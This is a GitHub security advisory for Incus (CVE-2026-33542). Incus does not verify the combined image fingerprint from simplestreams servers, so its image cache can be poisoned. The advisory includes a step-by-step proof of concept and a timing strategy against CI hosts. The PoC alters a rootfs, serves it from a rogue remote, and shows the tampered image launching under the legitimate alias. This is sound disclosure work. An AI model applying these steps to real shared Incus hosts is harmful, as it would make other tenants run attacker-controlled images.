Incus does not verify combined fingerprint when downloading images from simplestreams servers

Moderate **stgraber** published **GHSA-p8mm-23gg-jc9r** 4 days ago

Package

github.com/lxc/incus/v6/client (Go)

Affected versions	Patched versions
< v6.23.0	>= v6.23.0

Description

Summary

A lack of validation of the image fingerprint when downloading from simplestreams image servers opens the door to image cache poisoning and under very narrow circumstances exposes other tenants to running attacker controlled images rather than the expected one.

Details

Incus image fingerprints are computed as the SHA256 of the concatenated image files.
When downloading from a public image server using a simplestreams index, Incus requires an HTTPS connection and validates the SHA256 of the individual files but is lacking validation that the concatenated hash of the files matches the fingerprint listed in the simplestreams index.

This missing check allows an attacker with access to an Incus environment lacking suitable image source restrictions (`restricted.image.server` or equivalent firewall rules) to cause Incus to download from an attacker controlled image server which would provide different image files for an other well known image fingerprint.

Such an attack can be used to poison the global image cache, leading to another user on the system wanting to use the legitimate image to be provided the compromised one instead.

For this to be successful, the attacker requires:

- Access to an Incus server
- That server to NOT have been configured with `restricted.image.servers` or an equivalent firewall or HTTP proxy policy
- Some ability to predict what image may be used by other users in the near future
- Other users that are actively deploying new Incus instances on the system

Having to predict what image may be used in the future which doesn't have its legitimate copy already cached on the system (or somewhere within the cluster) makes this attack quite difficult to pull off. It's made even harder by not having any control as to when a given image may be used by another user.

An example of a somewhat easy target would be a server that's known to run ephemeral instances for Ci or build purposes, as those will get created very frequently and the images they use may be public knowledge, it would be possible to get a compromised image in place with the right timing:

- Monitor the legitimate image server for a new image being published
- Immediately create a compromised image with the same fingerprint on an attacker controlled image server
- Get the target Incus environment to download that image BEFORE any legitimate instance creation had the time to pull the legitimate image

But this again assumes an environment lacking either `restricted.image.servers` or equivalent firewall or proxy policies.

Mitigation

As mentioned above, any server using `restricted.image.servers` in project configuration, as would be strongly recommended in multi-tenant environments will be immune to this attack. As would any server going through equivalent network restriction whether implemented through firewalling or through an HTTP proxy server.

The updated Incus versions will now validate not just the individual files during download but also that the hash of the concatenated files does match the image fingerprint, fully preventing such an attack in the future.

PoC

To create a PoC, simply download `https://images.linuxcontainers.org/streams/v1/{index,images}.json` and `https://images.linuxcontainers.org/images/DISTRO/RELEASE/ARCH/default/NEWEST/{incus.tar.xz,rootfs.squashfs}` or similar paths, put them in suitable locations in a folder, and then use a server to serve them through https. The TLS certificate used by the server may need to be signed by a trusted CA of the client system.

Then change the content of `rootfs.squashfs` by `unsquashfs` / `mksquashfs`, add one line in `/root/.bashrc`: `echo 'PoC: hacked!'`, and then update corresponding `sha256` and `size` fields for that individual file in `images.json`.

Using `incus-simplestreams` first and then altering the `combined_xxx` fields should also be OK.

After that, check the following commands:

```
$ incus remote add poc https://TESTSERVER:4443 --protocol simplestreams
$ incus remote list
+-----------------+-----------------------------------+---------------+-------------
+--------+--------+--------+
|      NAME       |                URL                |   PROTOCOL    |  AUTH TYPE
| PUBLIC | STATIC | GLOBAL |
+-----------------+-----------------------------------+---------------+-------------
+--------+--------+--------+
| images          | https://images.linuxcontainers.org | simplestreams | none
| YES    | NO     | NO     |
+-----------------+-----------------------------------+---------------+-------------
+--------+--------+--------+
| local (current) | unix://                           | incus         | file access
| NO     | YES    | NO     |
+-----------------+-----------------------------------+---------------+-------------
+--------+--------+--------+
| poc             | https://TESTSERVER:4443            | simplestreams | none
| YES    | NO     | NO     |
+-----------------+-----------------------------------+---------------+-------------
+--------+--------+--------+
$ incus image list
+-------+-------------+--------+-------------+--------------+------+------+----------
---+
| ALIAS | FINGERPRINT | PUBLIC | DESCRIPTION | ARCHITECTURE | TYPE | SIZE | UPLOAD
DATE |
+-------+-------------+--------+-------------+--------------+------+------+----------
---+
$ incus image list images:debian/trixie -c lFpdasu
+----------------------------------+------------------------------------------------------
----------------+--------+----------------------------------------+--------------+--
---------+----------------------+
|              ALIAS               |                           FINGERPRINT
| PUBLIC |              DESCRIPTION               | ARCHITECTURE |   SIZE    |
UPLOAD DATE      |
+----------------------------------+------------------------------------------------------
----------------+--------+----------------------------------------+--------------+--
---------+----------------------+
| debian/13 (7 more)               |
8dad70759d54410e4e8ad84164f6a9d8bda3af753a54441365ff1476f065999c | yes    | Debian
trixie amd64 (20260320_05:24)   | x86_64       | 341.13MiB | 2026/03/20 08:00 CST |
+----------------------------------+------------------------------------------------------
----------------+--------+----------------------------------------+--------------+--
---------+----------------------+
| debian/13 (7 more)               |
945758c6900211055b3b0b6d2ab9617a9f9dbeb70e4c3b9710dc47aa01345369 | yes    | Debian
trixie amd64 (20260320_05:24)   | x86_64       | 94.70MiB  | 2026/03/20 08:00 CST |
+----------------------------------+------------------------------------------------------
----------------+--------+----------------------------------------+--------------+--
---------+----------------------+
| debian/13/arm64 (3 more)         |
41b4f8849cfc8d22a6b9cd86790602a43f67a9ec2c1d7e13a0b3ecf7b7d6663e | yes    | Debian
```

```
trixie arm64 (20260320_05:24)   | aarch64      | 339.27MiB | 2026/03/20 08:00 CST |
+---------------------------------+-----------------------------------------------
----------------+--------+--------------------------------------+--------------+--
---------+----------------------+
| debian/13/arm64 (3 more)         |
fda543def4b41f65511696ec0350d899dad5374956d18078697f58d1c466bae4 | yes    | Debian
trixie arm64 (20260320_05:24)   | aarch64      | 92.25MiB  | 2026/03/20 08:00 CST |
+---------------------------------+-----------------------------------------------
----------------+--------+--------------------------------------+--------------+--
---------+----------------------+
| debian/13/armhf (3 more)         |
77ef0a077759eab7690b1401bfbec78360d2a0462ee89fa3de86b899465adedb | yes    | Debian
trixie armhf (20260320_05:24)   | armv7l       | 84.14MiB  | 2026/03/20 08:00 CST |
+---------------------------------+-----------------------------------------------
----------------+--------+--------------------------------------+--------------+--
---------+----------------------+
| debian/13/cloud (3 more)         |
2ee3da00ca407ea98e1b84a2d5b1561c0fffb0281b05035e307e5029cdaa5532 | yes    | Debian
trixie amd64 (20260320_05:24)   | x86_64       | 130.17MiB | 2026/03/20 08:00 CST |
+---------------------------------+-----------------------------------------------
----------------+--------+--------------------------------------+--------------+--
---------+----------------------+
| debian/13/cloud (3 more)         |
108ed9a36105c37ba5412a880b5c39653536453189789aa101e46591de620d56 | yes    | Debian
trixie amd64 (20260320_05:24)   | x86_64       | 374.30MiB | 2026/03/20 08:00 CST |
+---------------------------------+-----------------------------------------------
----------------+--------+--------------------------------------+--------------+--
---------+----------------------+
| debian/13/cloud/arm64 (1 more)   |
cfb51c473e221b6c8b62a21808bd4f69ca4845108abfb14187fde8b79befbab3 | yes    | Debian
trixie arm64 (20260320_05:24)   | aarch64      | 126.78MiB | 2026/03/20 08:00 CST |
+---------------------------------+-----------------------------------------------
----------------+--------+--------------------------------------+--------------+--
---------+----------------------+
| debian/13/cloud/arm64 (1 more)   |
ff2c2c62849d978dfad0cc1df54c0f55881a0edf3b31333c3b2a00413eaee1a5 | yes    | Debian
trixie arm64 (20260320_05:24)   | aarch64      | 371.76MiB | 2026/03/20 08:00 CST |
+---------------------------------+-----------------------------------------------
----------------+--------+--------------------------------------+--------------+--
---------+----------------------+
| debian/13/cloud/armhf (1 more)   |
8eb505d548265e371a3ab0d277f76986f0879e414a6a74af2f975cf3caffc565 | yes    | Debian
trixie armhf (20260320_05:24)   | armv7l       | 117.92MiB | 2026/03/20 08:00 CST |
+---------------------------------+-----------------------------------------------
----------------+--------+--------------------------------------+--------------+--
---------+----------------------+
| debian/13/cloud/riscv64 (1 more) |
dab5009031d0d03c8cfebb330a83baf950eb79b8277a5f071e0a81758d17b8b4 | yes    | Debian
trixie riscv64 (20260320_05:24) | riscv64      | 122.90MiB | 2026/03/20 08:00 CST |
+---------------------------------+-----------------------------------------------
----------------+--------+--------------------------------------+--------------+--
---------+----------------------+
| debian/13/riscv64 (3 more)       |
1fa5c6eaf7f3c107b96625b49bc2e4f00b077d949d349d9e3c412747ec492341 | yes    | Debian
trixie riscv64 (20260320_05:24) | riscv64      | 87.86MiB  | 2026/03/20 08:00 CST |
+---------------------------------+-----------------------------------------------
```

```
-----------------+--------+----------------------------------------+--------------+--
---------+----------------------+
$ incus image copy poc:debian/trixie local:
Image copied successfully!
$ incus image list -c lFpdasu
+-------+------------------------------------------------------------------+--------
+----------------------------------------+--------------+-----------+------------------
----+
| ALIAS |                           FINGERPRINT                            | PUBLIC |
DESCRIPTION              | ARCHITECTURE |   SIZE    |     UPLOAD DATE      |
+-------+------------------------------------------------------------------+--------
+----------------------------------------+--------------+-----------+------------------
----+
|       | 945758c6900211055b3b0b6d2ab9617a9f9dbeb70e4c3b9710dc47aa01345369 | no     |
Debian trixie amd64 (20260320_05:24) | x86_64       | 105.09MiB | 2026/03/21 00:55
CST |
+-------+------------------------------------------------------------------+--------
+----------------------------------------+--------------+-----------+------------------
----+
$ incus launch images:debian/trixie
Launching the instance
Instance name is: star-mollusk
$ incus list
+--------------+---------+------+-----------------------------------------------+---
--------+-----------+
|     NAME     |  STATE  | IPV4 |                     IPV6                      |
TYPE    | SNAPSHOTS |
+--------------+---------+------+-----------------------------------------------+---
--------+-----------+
| star-mollusk | RUNNING |      | fd42:115a:7a71:9748:1266:6aff:fe1a:d504 (eth0) |
CONTAINER | 0         |
+--------------+---------+------+-----------------------------------------------+---
--------+-----------+
$ incus exec star-mollusk bash
PoC: hacked!
root@star-mollusk:~#
exit
$ incus image export images:debian/trixie
Image exported successfully!
$ cat incus.tar.xz rootfs.squashfs | sha256sum
945758c6900211055b3b0b6d2ab9617a9f9dbeb70e4c3b9710dc47aa01345369  -
$ rm incus.tar.xz rootfs.squashfs
$ incus image export poc:debian/trixie
Image exported successfully!
$ cat incus.tar.xz rootfs.squashfs | sha256sum
d3ec6f76cc1e4e49479e52c69b3d71430748f7c86d1214f44893e131392ad002  -
$ rm incus.tar.xz rootfs.squashfs
$ incus image export
local:945758c6900211055b3b0b6d2ab9617a9f9dbeb70e4c3b9710dc47aa01345369
Error: Image fingerprint doesn't match. Got
d3ec6f76cc1e4e49479e52c69b3d71430748f7c86d1214f44893e131392ad002 expected
945758c6900211055b3b0b6d2ab9617a9f9dbeb70e4c3b9710dc47aa01345369
$ incus image export
poc:945758c6900211055b3b0b6d2ab9617a9f9dbeb70e4c3b9710dc47aa01345369
Image exported successfully!
```

```
$ cat incus.tar.xz rootfs.squashfs | sha256sum
d3ec6f76cc1e4e49479e52c69b3d71430748f7c86d1214f44893e131392ad002  -
```

Severity

Moderate

CVE ID

CVE-2026-33542

Weaknesses

No CWEs

Credits

wl2018 — Finder

stgraber — Remediation developer